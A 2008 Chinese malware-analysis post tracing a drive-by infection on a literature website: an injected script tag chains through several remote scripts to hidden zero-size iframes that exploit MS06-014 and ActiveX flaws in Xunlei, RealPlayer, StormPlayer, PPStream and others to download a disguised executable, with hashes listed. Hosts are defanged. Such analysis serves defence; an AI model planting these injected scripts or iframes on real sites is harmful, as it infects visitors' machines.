某文学网站挂马logo.jpg/logo.exe

某文学网站挂马logo.jpg/logo.exe

endurer 原创
2008-04-30 第1版

该网站网页包含代码：
/---
＜script src="hxxp://www.ol***d*rain.com/ads/iw_t.js"＞＜/scipt＞
---/

#1 hxxp://www.ol***d*rain.com/ads/iw_t.js 包含代码：
/---
＜script src='/images/jin.gif'＞＜/script＞
---/

#1.1 hxxp://www.ol***d*rain.com/images/jin.gif包含JavaScript代码，其功能为检查cookie变量my_ad，输出代码：
/---
＜script language="javascript" src="hxxp://ww**.shi**t*ip.com/file/my.js"＞＜/script＞
---/

#1.1.1 hxxp://ww**.shi**t*ip.com/file/my.js 输出代码：
/---
＜script language='javascript' src='hxxp://ad.shi**t*ip.com/file/ad.js'＞＜/script＞
---/

#1.1.1.1 hxxp://ad.shi**t*ip.com/file/ad.js 输出代码:
/---
＜iframe width='0' height='0' src='hxxp://ww**.shi**t*ip.com/file/logo.htm'＞＜/iframe＞
＜iframe width='25' height='0' src='hxxp://ww**.shi**t*ip.com/file/xunlei.htm'＞＜/iframe＞
＜iframe width='0' height='0' src='hxxp://ww**.shi**t*ip.com/file/real.htm'＞＜/iframe＞
＜iframe width='0' height='0' src='hxxp://ww**.shi**t*ip.com/file/lz.htm'＞＜/iframe＞
＜iframe width='0' height='0' src='hxxp://ww**.shi**t*ip.com/file/bf.htm'＞＜/iframe＞
＜iframe width='0' height='0' src='hxxp://ww**.shi**t*ip.com/file/pps.htm'＞＜/iframe＞
＜iframe width='0' height='0' src='hxxp://ww**.shi**t*ip.com/file/sdr.htm'＞＜/iframe＞
＜iframe name='mycountif' width='0' height='0'＞＜/iframe＞
---/

#1.1.1.1.1 hxxp://ww**.shi**t*ip.com/file/logo.htm

利用 MS06-014漏洞下载 hxxp://ww**.shi**t*ip.com/file/images/logo.jpg

文件说明符 : D:/test/logo.jpg
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-4-30 12:31:44
修改时间 : 2008-4-30 12:31:44
大小 : 30788 字节 30.68 KB
MD5 : 497cd95b261c35e380c33065058cc7ac
SHA1: 1B4A5CD93D8C4F347DEAA8BA55F6A50DE0BA4FAE
CRC32: 3e7aaf5e

文件 497cd95b261c35e380c33065058cc7ac- 接收于 2008.04.30 07:38:54 (CET)

#1.1.1.1.2 hxxp://ww**.shi**t*ip.com/file/xunlei.htm

利用迅雷（PPlayer.XPPlayer.1,clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F）漏洞下载hxxp://ww**.shi**t*ip.com/file/images/logo.jpg

#1.1.1.1.3 hxxp://ww**.shi**t*ip.com/file/real.htm

利用RealPlayer（IERPCtl.IERPCtl.1）漏洞下载hxxp://ww**.shi**t*ip.com/file/images/logo.jpg

#1.1.1.1.4 hxxp://ww**.shi**t*ip.com/file/lz.htm

利用联众（GLCHAT.GLChatCtrl.1,clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69）漏洞下载hxxp://ww**.shi**t*ip.com/file/images/logo.jpg

#1.1.1.1.5 hxxp://ww**.shi**t*ip.com/file/bf.htm

利用暴风暴音（MPS.StormPlayer,clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB）漏洞下载hxxp://ww**.shi**t*ip.com/file/images/logo.jpg

#1.1.1.1.6 hxxp://ww**.shi**t*ip.com/file/pps.htm

利用PPStream（POWERPLAYER.PowerPlayerCtrl.1,clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458）漏洞下载 hxxp://ww**.shi**t*ip.com/file/images/logo.jpg

hxxp://ww**.shi**t*ip.com/file/sdr.htm

利用超星阅览器（clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2）漏洞下载hxxp://ww**.shi**t*ip.com/file/images/logo.jpg